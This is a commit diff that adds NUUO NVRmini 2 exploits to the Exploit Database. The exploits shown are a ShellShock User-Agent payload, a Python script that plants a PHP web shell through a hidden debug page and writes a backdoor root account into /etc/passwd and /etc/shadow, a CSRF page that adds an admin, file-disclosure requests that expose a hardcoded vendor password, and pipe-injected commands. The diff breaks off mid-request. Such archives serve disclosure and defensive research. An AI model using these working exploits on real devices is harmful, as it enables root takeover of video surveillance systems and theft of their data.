DB: 2016-08-07
8 new exploits Kodi Web Server 16.1 - Denial of Service NUUO NVRmini 2 3.0.8 - Remote Root Exploit NUUO NVRmini 2 3.0.8 - (Add Admin) CSRF NUUO NVRmini 2 3.0.8 - Local File Disclosure NUUO NVRmini 2 3.0.8 - Multiple OS Command Injection NUUO NVRmini 2 3.0.8 - ShellShock Remote Code Execution NUUO NVRmini 2 3.0.8 - Arbitrary File Deletion NUUO NVRmini 2 3.0.8 - (strong_user.php) Backdoor Remote Shell Access
This commit is contained in:
Offensive Security
parent
428f25fc1c
commit
e161127711
9 changed files with 1125 additions and 0 deletions
|
|
@ -36356,3 +36356,11 @@ id,file,description,date,author,platform,type,port
|
||||||
40205,platforms/cgi/webapps/40205.txt,"Davolink DV-2051 - Multiple Vulnerabilities",2016-08-05,"Eric Flokstra",cgi,webapps,80
|
40205,platforms/cgi/webapps/40205.txt,"Davolink DV-2051 - Multiple Vulnerabilities",2016-08-05,"Eric Flokstra",cgi,webapps,80
|
||||||
40206,platforms/php/webapps/40206.txt,"WordPress Count per Day Plugin 3.5.4 - Stored Cross-Site Scripting",2016-08-05,"Julien Rentrop",php,webapps,80
|
40206,platforms/php/webapps/40206.txt,"WordPress Count per Day Plugin 3.5.4 - Stored Cross-Site Scripting",2016-08-05,"Julien Rentrop",php,webapps,80
|
||||||
40207,platforms/hardware/webapps/40207.txt,"NASdeluxe NDL-2400r 2.01.09 - OS Command Injection",2016-08-05,"SySS GmbH",hardware,webapps,80
|
40207,platforms/hardware/webapps/40207.txt,"NASdeluxe NDL-2400r 2.01.09 - OS Command Injection",2016-08-05,"SySS GmbH",hardware,webapps,80
|
||||||
|
40208,platforms/windows/dos/40208.py,"Kodi Web Server 16.1 - Denial of Service",2016-08-05,"Guillaume Kaddouch",windows,dos,8080
|
||||||
|
40209,platforms/php/webapps/40209.py,"NUUO NVRmini 2 3.0.8 - Remote Root Exploit",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
|
40210,platforms/php/webapps/40210.html,"NUUO NVRmini 2 3.0.8 - (Add Admin) CSRF",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
|
40211,platforms/php/webapps/40211.txt,"NUUO NVRmini 2 3.0.8 - Local File Disclosure",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
|
40212,platforms/php/webapps/40212.txt,"NUUO NVRmini 2 3.0.8 - Multiple OS Command Injection",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
|
40213,platforms/cgi/webapps/40213.txt,"NUUO NVRmini 2 3.0.8 - ShellShock Remote Code Execution",2016-08-06,LiquidWorm,cgi,webapps,80
|
||||||
|
40214,platforms/php/webapps/40214.txt,"NUUO NVRmini 2 3.0.8 - Arbitrary File Deletion",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
|
40215,platforms/php/webapps/40215.txt,"NUUO NVRmini 2 3.0.8 - (strong_user.php) Backdoor Remote Shell Access",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
91
platforms/cgi/webapps/40213.txt
Executable file
91
platforms/cgi/webapps/40213.txt
Executable file
|
|
@ -0,0 +1,91 @@
|
||||||
|
NUUO NVRmini 2 NE-4160 ShellShock Remote Code Execution
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: NUUO Inc.
|
||||||
|
Product web page: http://www.nuuo.com
|
||||||
|
Affected version: Firmware Version: 02.02.00
|
||||||
|
NVR Version: 02.02.0000.0040
|
||||||
|
Device Pack Version: 04.07.0000.0030
|
||||||
|
|
||||||
|
|
||||||
|
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
|
||||||
|
functionality. Setup is simple and easy, with automatic port forwarding
|
||||||
|
settings built in. NVRmini 2 supports POS integration, making this the perfect
|
||||||
|
solution for small retail chain stores. NVRmini 2 also comes full equipped as
|
||||||
|
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
|
||||||
|
and RAID functions for data protection. Choose NVR and know that your valuable video
|
||||||
|
data is safe, always.
|
||||||
|
|
||||||
|
Desc: NUUO NVRmini, NVRmini2, Crystal, NVRSolo suffers from authenticated ShellShock
|
||||||
|
vulnerability. This could allow an attacker to gain control over a targeted computer
|
||||||
|
if exploited successfully. The vulnerability affects Bash, a common component known
|
||||||
|
as a shell that appears in many versions of Linux and Unix.
|
||||||
|
|
||||||
|
Tested on: GNU/Linux 2.6.31.8 (armv5tel)
|
||||||
|
lighttpd/1.4.28
|
||||||
|
PHP/5.5.3
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2016-5352
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5352.php
|
||||||
|
|
||||||
|
|
||||||
|
14.01.2016
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
|
||||||
|
POST /cgi-bin/cgi_system HTTP/1.1
|
||||||
|
Host: 10.0.0.17
|
||||||
|
Content-Length: 91
|
||||||
|
Origin: http://10.0.0.17
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
User-Agent: () { :;}; /bin/ls -al
|
||||||
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
Accept: */*
|
||||||
|
Referer: http://10.0.0.17/protocol_ftp.php
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
cmd=ftp_setup&act=modify&com_port=21&pasv_port_from=1024&pasv_port_to=65535&services=enable
|
||||||
|
|
||||||
|
|
||||||
|
Response:
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Connection: close
|
||||||
|
Date: Fri, 15 Jan 2016 13:09:11 GMT
|
||||||
|
Server: lighttpd/1.4.28
|
||||||
|
Content-Length: 1652
|
||||||
|
|
||||||
|
drwxr-xr-x 3 root root 402 Oct 20 2014 .
|
||||||
|
drwxr-xr-x 6 root root 1024 Jan 4 22:49 ..
|
||||||
|
-rwxr-xr-x 1 root root 256564 Oct 20 2014 DaylightSavingWatcher
|
||||||
|
-rwxr-xr-x 1 root root 51376 Oct 20 2014 NuDatTool
|
||||||
|
-rwxr-xr-x 1 root root 60500 Oct 20 2014 NuDiscovery
|
||||||
|
-rwxr-xr-x 1 root root 930652 Oct 20 2014 NuHWMgn
|
||||||
|
-rwxr-xr-x 1 root root 8236 Oct 20 2014 NuNICWatcher
|
||||||
|
-rwxr-xr-x 1 root root 309 Oct 20 2014 after_mount.sh
|
||||||
|
lrwxrwxrwx 1 root root 7 Oct 20 2014 archive_mrg_mv -> lite_mv
|
||||||
|
-rwxr-xr-x 1 root root 1114844 Oct 20 2014 auto_upgrade
|
||||||
|
lrwxrwxrwx 1 root root 7 Oct 20 2014 cgi_main -> lite_mv
|
||||||
|
-rwxr-xr-x 1 root root 576992 Oct 20 2014 cgi_system
|
||||||
|
lrwxrwxrwx 1 root root 7 Oct 20 2014 ddns_update -> lite_mv
|
||||||
|
-rwxr-xr-x 1 root root 570 Oct 20 2014 getdhcpip.sh
|
||||||
|
-rwxr-xr-x 1 root root 388 Oct 20 2014 halt
|
||||||
|
drwxr-xr-x 2 root root 41 Oct 20 2014 lib
|
||||||
|
-rwxr-xr-x 1 root root 3827188 Oct 20 2014 lite_mv
|
||||||
|
-rwxr-xr-x 1 root root 15396 Oct 20 2014 nagent_mv
|
||||||
|
-rwxr-xr-x 1 root root 9836 Oct 20 2014 nu_btns
|
||||||
|
-rwxr-xr-x 1 root root 3496 Oct 20 2014 nudaemon
|
||||||
|
-rwxr-xr-x 1 root root 10616 Oct 20 2014 nufancontrol
|
||||||
|
-rwxr-xr-x 1 root root 12772 Oct 20 2014 nuklogd
|
||||||
|
-rwxr-xr-x 1 root root 392 Oct 20 2014 reboot
|
||||||
|
-rwxr-xr-x 1 root root 13144 Oct 20 2014 thwstat
|
||||||
|
FTP Setup OK
|
||||||
163
platforms/php/webapps/40209.py
Executable file
163
platforms/php/webapps/40209.py
Executable file
|
|
@ -0,0 +1,163 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# NUUO Remote Root Exploit
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Vendor: NUUO Inc.
|
||||||
|
# Product web page: http://www.nuuo.com
|
||||||
|
# Affected version: <=3.0.8
|
||||||
|
#
|
||||||
|
# Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
|
||||||
|
# functionality. Setup is simple and easy, with automatic port forwarding
|
||||||
|
# settings built in. NVRmini 2 supports POS integration, making this the perfect
|
||||||
|
# solution for small retail chain stores. NVRmini 2 also comes full equipped as
|
||||||
|
# a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
|
||||||
|
# and RAID functions for data protection. Choose NVR and know that your valuable video
|
||||||
|
# data is safe, always.
|
||||||
|
#
|
||||||
|
# Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo suffers from an unauthenticated command
|
||||||
|
# injection vulnerability. Due to an undocumented and hidden debugging script, an attacker
|
||||||
|
# can inject and execute arbitrary code as the root user via the 'log' GET parameter in the
|
||||||
|
# '__debugging_center_utils___.php' script.
|
||||||
|
#
|
||||||
|
# -----------------------------------------------------
|
||||||
|
# $ nuuo.py 10.0.0.17 80
|
||||||
|
# [*] ==============================================
|
||||||
|
# [*] NUUO NVR/DVR/NDVR Remote Root Exploit
|
||||||
|
# [*] Zero Science Lab - http://www.zeroscience.mk
|
||||||
|
# [*] ==============================================
|
||||||
|
# [*] Backdoor detected!
|
||||||
|
# [*] Add root user (y/n)? n
|
||||||
|
# [*] Press [ ENTER ] to start root shell...
|
||||||
|
#
|
||||||
|
# root@nuuo:~# id
|
||||||
|
# uid=0(root) gid=0(root)
|
||||||
|
#
|
||||||
|
# root@nuuo:~# exit
|
||||||
|
#
|
||||||
|
# [*] Removing raidh.php file
|
||||||
|
# [*] Session terminated!
|
||||||
|
#
|
||||||
|
# $
|
||||||
|
# -----------------------------------------------------
|
||||||
|
#
|
||||||
|
# Tested on: GNU/Linux 3.0.8 (armv7l)
|
||||||
|
# GNU/Linux 2.6.31.8 (armv5tel)
|
||||||
|
# lighttpd/1.4.28
|
||||||
|
# PHP/5.5.3
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
# Zero Science Lab - http://www.zeroscience.mk
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Advisory ID: ZSL-2016-5348
|
||||||
|
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5348.php
|
||||||
|
# NSE Script: http://www.zeroscience.mk/codes/nuuo-backdoor.nse
|
||||||
|
# https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40209.zip
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# 14.01.2016
|
||||||
|
#
|
||||||
|
|
||||||
|
import os######
|
||||||
|
import sys#####
|
||||||
|
import time####
|
||||||
|
import urllib##
|
||||||
|
import binascii
|
||||||
|
import requests
|
||||||
|
|
||||||
|
__author__ = 'lqwrm'
|
||||||
|
|
||||||
|
def persist(host,port,hexy,clean):
|
||||||
|
|
||||||
|
pwd = '''echo 'roOt:x:0:0:PWNED account:/:/bin/bash' >> /etc/passwd'''
|
||||||
|
sdw = '''echo 'roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::' >> /etc/shadow'''
|
||||||
|
print '[*] Adding user \'roOt\' with password \'rewt\' in passwd file.'
|
||||||
|
requests.get('http://'+host+':'+port+'/raidh.php?cmd='+pwd)
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
print '[*] Updating shadow file.'
|
||||||
|
requests.get('http://'+host+':'+port+'/raidh.php?cmd='+sdw)
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
print '[*] Shell awaits: ssh roOt@'+host
|
||||||
|
requests.get('http://'+host+':'+port+'/raidh.php?cmd='+urllib.quote(clean))
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
def check(host,port,hexy):
|
||||||
|
|
||||||
|
try:
|
||||||
|
r = requests.get('http://'+host+':'+port+'/'+hexy, allow_redirects=False)
|
||||||
|
if r.status_code == 200:
|
||||||
|
print '[*] Backdoor detected!'
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
print '[*] No backdoors here. :('
|
||||||
|
exit(0)
|
||||||
|
except Exception:
|
||||||
|
print '[*] Could not connect.'
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
|
||||||
|
print '[*] =============================================='
|
||||||
|
print '[*] NUUO NVR/DVR/NDVR Remote Root Exploit'
|
||||||
|
print '[*] Zero Science Lab - http://www.zeroscience.mk'
|
||||||
|
print '[*] =============================================='
|
||||||
|
|
||||||
|
if (len(sys.argv) <= 2):
|
||||||
|
print '[*] Usage: nuuo.py <ipaddress> <port>'
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
host = sys.argv[1]
|
||||||
|
port = sys.argv[2]
|
||||||
|
|
||||||
|
dbgcu = '5f5f64'#
|
||||||
|
dbgcu+= '656275'#
|
||||||
|
dbgcu+= '676769'#
|
||||||
|
dbgcu+= '6e675f'#
|
||||||
|
dbgcu+= '63656e'#
|
||||||
|
dbgcu+= '746572'#
|
||||||
|
dbgcu+= '5f7574'#
|
||||||
|
dbgcu+= '696c73'#
|
||||||
|
dbgcu+= '5f5f5f'#
|
||||||
|
dbgcu+= '2e7068'#
|
||||||
|
dbgcu+= '70'###'#
|
||||||
|
|
||||||
|
hexy = binascii.unhexlify(dbgcu)
|
||||||
|
check (host,port,hexy)
|
||||||
|
|
||||||
|
payload = '''echo "<?php system(\$_REQUEST[\'cmd\']); ?>" > raidh.php'''
|
||||||
|
requests.get('http://'+host+':'+port+'/'+hexy+'?log=1337;' + payload)
|
||||||
|
|
||||||
|
clean = 'rm raidh.php'
|
||||||
|
a1 = raw_input('[*] Add root user (y/n)? ')
|
||||||
|
if a1.strip() == 'y' or a1.strip() == 'Y':
|
||||||
|
persist (host,port,hexy,clean)
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
|
print '[*] Press [ ENTER ] to start root shell...'
|
||||||
|
raw_input()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
cmd = raw_input('root@nuuo:~# ')
|
||||||
|
if cmd.strip() == '':
|
||||||
|
print '[*] Give me a command!\n'
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
e = requests.get('http://'+host+':'+port+'/raidh.php?cmd='+urllib.quote(cmd))
|
||||||
|
print e.text
|
||||||
|
if cmd.strip() == 'exit':
|
||||||
|
print '[*] Removing raidh.php file'
|
||||||
|
requests.get('http://'+host+':'+port+'/raidh.php?cmd='+urllib.quote(clean))
|
||||||
|
print '[*] Session terminated!'
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
break
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
66
platforms/php/webapps/40210.html
Executable file
66
platforms/php/webapps/40210.html
Executable file
|
|
@ -0,0 +1,66 @@
|
||||||
|
<!--
|
||||||
|
|
||||||
|
NUUO CSRF Add Admin Exploit
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: NUUO Inc.
|
||||||
|
Product web page: http://www.nuuo.com
|
||||||
|
Affected version: <=3.0.8 (NE-4160, NT-4040)
|
||||||
|
|
||||||
|
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
|
||||||
|
functionality. Setup is simple and easy, with automatic port forwarding
|
||||||
|
settings built in. NVRmini 2 supports POS integration, making this the perfect
|
||||||
|
solution for small retail chain stores. NVRmini 2 also comes full equipped as
|
||||||
|
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
|
||||||
|
and RAID functions for data protection. Choose NVR and know that your valuable video
|
||||||
|
data is safe, always.
|
||||||
|
|
||||||
|
Desc: The application interface allows users to perform certain actions via HTTP
|
||||||
|
requests without performing any validity checks to verify the requests. This can be
|
||||||
|
exploited to perform certain actions with administrative privileges if a logged-in
|
||||||
|
user visits a malicious web site.
|
||||||
|
|
||||||
|
|
||||||
|
Tested on: GNU/Linux 3.0.8 (armv7l)
|
||||||
|
GNU/Linux 2.6.31.8 (armv5tel)
|
||||||
|
lighttpd/1.4.28
|
||||||
|
PHP/5.5.3
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2016-5349
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5349.php
|
||||||
|
|
||||||
|
|
||||||
|
14.01.2016
|
||||||
|
|
||||||
|
-->
|
||||||
|
|
||||||
|
|
||||||
|
<!-- 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 -->
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://10.0.0.17/users_xml.php">
|
||||||
|
<input type="hidden" name="_password2" value="admin" />
|
||||||
|
<input type="hidden" name="addusername" value="csrfadmin" />
|
||||||
|
<input type="hidden" name="password" value="admin" />
|
||||||
|
<input type="hidden" name="cmd" value="adduser" />
|
||||||
|
<input type="hidden" name="group" value="poweruser" />
|
||||||
|
<input type="hidden" name="displaygroup" value="power user" />
|
||||||
|
<input type="hidden" name="magic" value="574" />
|
||||||
|
<input type="hidden" name="liveacc" value="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16" />
|
||||||
|
<input type="hidden" name="pbacc" value="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16" />
|
||||||
|
<input type="hidden" name="ptzacc" value="1" />
|
||||||
|
<input type="hidden" name="ioacc" value="1" />
|
||||||
|
<input type="hidden" name="backupacc" value="1" />
|
||||||
|
<input type="hidden" name="deleteacc" value="1" />
|
||||||
|
<input type="hidden" name="emapeacc" value="1" />
|
||||||
|
<input type="hidden" name="remotalkacc" value="1" />
|
||||||
|
<input type="hidden" name="logacc" value="1" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
154
platforms/php/webapps/40211.txt
Executable file
154
platforms/php/webapps/40211.txt
Executable file
|
|
@ -0,0 +1,154 @@
|
||||||
|
NUUO Local File Disclosure Vulnerability
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: NUUO Inc.
|
||||||
|
Product web page: http://www.nuuo.com
|
||||||
|
Affected version: <=3.0.8 (NE-4160, NT-4040)
|
||||||
|
|
||||||
|
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
|
||||||
|
functionality. Setup is simple and easy, with automatic port forwarding
|
||||||
|
settings built in. NVRmini 2 supports POS integration, making this the perfect
|
||||||
|
solution for small retail chain stores. NVRmini 2 also comes full equipped as
|
||||||
|
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
|
||||||
|
and RAID functions for data protection. Choose NVR and know that your valuable video
|
||||||
|
data is safe, always.
|
||||||
|
|
||||||
|
Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo suffers from a file disclosure
|
||||||
|
vulnerability when input passed thru the 'css' parameter to 'css_parser.php' script
|
||||||
|
is not properly verified before being used to include files. This can be exploited
|
||||||
|
to disclose contents of files from local resources.
|
||||||
|
|
||||||
|
|
||||||
|
Tested on: GNU/Linux 3.0.8 (armv7l)
|
||||||
|
GNU/Linux 2.6.31.8 (armv5tel)
|
||||||
|
lighttpd/1.4.28
|
||||||
|
PHP/5.5.3
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2016-5350
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5350.php
|
||||||
|
|
||||||
|
|
||||||
|
14.01.2016
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
|
||||||
|
Request:
|
||||||
|
--------
|
||||||
|
GET http://10.0.0.17/css_parser.php?css=__nvr_dat_tool___.php HTTP/1.1
|
||||||
|
|
||||||
|
|
||||||
|
Response:
|
||||||
|
---------
|
||||||
|
|
||||||
|
<?php
|
||||||
|
include('utils.php');
|
||||||
|
header("Expires: Thu, 19 Nov 1981 08:52:00 GMT");
|
||||||
|
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
|
||||||
|
header("Pragma: no-cache");
|
||||||
|
|
||||||
|
session_start();
|
||||||
|
?>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
|
||||||
|
<title>DatTool</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<?php
|
||||||
|
if (isset($_POST) && isset($_POST['username']) && isset($_POST['password']))
|
||||||
|
{
|
||||||
|
if ($_POST['username'] != 'nuuoeng' || $_POST['password'] != 'qwe23622260')
|
||||||
|
{
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isset($_POST['act']) && $_POST['act'] == 'checkdat')
|
||||||
|
{
|
||||||
|
echo '<script language="javascript">';
|
||||||
|
echo 'alert("The system will start to repair videos right after system reboot. Please go to Setting Page to reboot system manually.")';
|
||||||
|
echo '</script>';
|
||||||
|
touch(constant("FLASH_FOLDER")."/checkdat");
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
|
||||||
|
<p>Click the Repair button to repair the recorded videos became black due to incorrect video format. It may take a long time to repair videos, which depends on the amount of video files.</p>
|
||||||
|
<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>" name="form0">
|
||||||
|
<input type="hidden" name="username" value="<?php echo $_POST['username']; ?>">
|
||||||
|
<input type="hidden" name="password" value="<?php echo htmlspecialchars( $_POST['password'] ); ?>">
|
||||||
|
<input type="hidden" name="act" value="checkdat">
|
||||||
|
<input type="submit" value="Repair" name="submit" >
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<?php
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
?>
|
||||||
|
<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>" name="form0">
|
||||||
|
Usermame: <input type="text" size="15" name="username" value=""><br />
|
||||||
|
Password: <input type="password" size="15" name="password" value=""><br />
|
||||||
|
<input type="submit" value="Submit" name="submit" >
|
||||||
|
</form>
|
||||||
|
<?php
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
============================================================================
|
||||||
|
|
||||||
|
Request:
|
||||||
|
--------
|
||||||
|
|
||||||
|
GET http://10.0.0.17/css_parser.php?css=css_parser.php HTTP/1.1
|
||||||
|
|
||||||
|
|
||||||
|
Response:
|
||||||
|
---------
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
if(!isset($_GET['css']))exit('/* please supply a "css" parameter */');
|
||||||
|
$filename=$_GET['css'];
|
||||||
|
|
||||||
|
if(strpos($filename,'..')!==false)exit('/* please use an absolute address for your css */');
|
||||||
|
$filename=$_SERVER['DOCUMENT_ROOT'].'/'.$filename;
|
||||||
|
if(!file_exists($filename))exit('/* referred css file does not exist */');
|
||||||
|
|
||||||
|
header('content-type:text/css');
|
||||||
|
header("Expires: ".gmdate("D, d M Y H:i:s", (time()+900)) . " GMT");
|
||||||
|
|
||||||
|
$matches=array();
|
||||||
|
$names=array();
|
||||||
|
$values=array();
|
||||||
|
$file=file_get_contents($filename);
|
||||||
|
foreach ($_GET as $key=>$value)
|
||||||
|
{
|
||||||
|
//echo "Key: $key; Value: $value <br/>\n ";
|
||||||
|
if ($key != 'css')
|
||||||
|
{
|
||||||
|
$file = str_replace($key,$value,$file);
|
||||||
|
}
|
||||||
|
//system("echo \"Key: $key; Value: $value <br/>\n \" >> $filename");
|
||||||
|
}
|
||||||
|
|
||||||
|
echo $file;
|
||||||
|
|
||||||
|
/*
|
||||||
|
foreach(array_reverse($matches[0]) as $match){
|
||||||
|
$match=preg_replace('/\s+/',' ',rtrim(ltrim($match)));
|
||||||
|
$names[]=preg_replace('/\s.*//*','',$match);
|
||||||
|
$values[]=preg_replace('/^[^\s]*\s/','',$match);
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
?>
|
||||||
127
platforms/php/webapps/40212.txt
Executable file
127
platforms/php/webapps/40212.txt
Executable file
|
|
@ -0,0 +1,127 @@
|
||||||
|
NUUO Multiple OS Command Injection Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: NUUO Inc.
|
||||||
|
Product web page: http://www.nuuo.com
|
||||||
|
Affected version: <=3.0.8 (NE-4160, NT-4040, NT-4040(R))
|
||||||
|
DP: <=04.07.0000.0030, <=04.03.0000.0035
|
||||||
|
FW: <=02.02.00, <=1.7.0
|
||||||
|
|
||||||
|
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
|
||||||
|
functionality. Setup is simple and easy, with automatic port forwarding
|
||||||
|
settings built in. NVRmini 2 supports POS integration, making this the perfect
|
||||||
|
solution for small retail chain stores. NVRmini 2 also comes full equipped as
|
||||||
|
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
|
||||||
|
and RAID functions for data protection. Choose NVR and know that your valuable video
|
||||||
|
data is safe, always.
|
||||||
|
|
||||||
|
NUUO Titan NVR is NUUO's Linux-based open platform recording solution. It is built
|
||||||
|
on Linux Foundation, with cross-platform Windows and MAC client software. It supports
|
||||||
|
up to 64 channels of megapixel recording with 250 Mbps throughput. It also comes with
|
||||||
|
a myriads of features that will sure to fulfill even the most demanding projects. Supports
|
||||||
|
over 2300 camera models from over 100 vendors.
|
||||||
|
|
||||||
|
Desc: NUUO NVRmini, NVRmini2, Crystal, NVRSolo and NVRTitan suffers from multiple
|
||||||
|
authenticated OS command injection vulnerabilities. This can be exploited to inject
|
||||||
|
and execute arbitrary shell commands as the root user.
|
||||||
|
|
||||||
|
Tested on: GNU/Linux 3.0.8 (armv7l)
|
||||||
|
GNU/Linux 2.6.31.8 (armv5tel)
|
||||||
|
lighttpd/1.4.28
|
||||||
|
lighttpd/1.4.35
|
||||||
|
PHP/5.5.3
|
||||||
|
PHP/5.6.0
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2016-5351
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5351.php
|
||||||
|
|
||||||
|
|
||||||
|
14.01.2016
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
|
||||||
|
NVRTitan:
|
||||||
|
|
||||||
|
POST /handle_iscsi.php HTTP/1.1
|
||||||
|
Host: 10.0.0.17
|
||||||
|
Content-Length: x
|
||||||
|
Origin: http://10.0.0.17
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
|
||||||
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
Accept: */*
|
||||||
|
Referer: http://10.0.0.17/iscsi.php
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
Cookie: PHPSESSID=c9fdced9e8129eb4c14e3154cd0e0ce3; lang=en; loginName=admin
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
act=discover&address=1.1.1.1|echo%20pwn&port=3260
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
X-Powered-By: PHP/5.6.0
|
||||||
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||||||
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
||||||
|
Pragma: no-cache
|
||||||
|
Content-type: text/html; charset=UTF-8
|
||||||
|
Connection: close
|
||||||
|
Date: Mon, 18 Apr 2016 08:52:17 GMT
|
||||||
|
Server: lighttpd/1.4.35
|
||||||
|
Content-Length: x
|
||||||
|
|
||||||
|
pwn
|
||||||
|
|
||||||
|
|
||||||
|
============================================================
|
||||||
|
|
||||||
|
|
||||||
|
NVRmini/2/Solo/Crystal:
|
||||||
|
|
||||||
|
GET /cgi-bin/cgi_system?cmd=raid_setup&act=getsmartinfo&devname=|ping%20-n%200%20localhost&rand=1452765315144 HTTP/1.1
|
||||||
|
Host: 10.0.0.17
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
Accept: */*
|
||||||
|
Referer: http://10.0.0.17/raid.php
|
||||||
|
Accept-Encoding: gzip, deflate, sdch
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
POST /cgi-bin/cgi_system?cmd=saveconfig HTTP/1.1
|
||||||
|
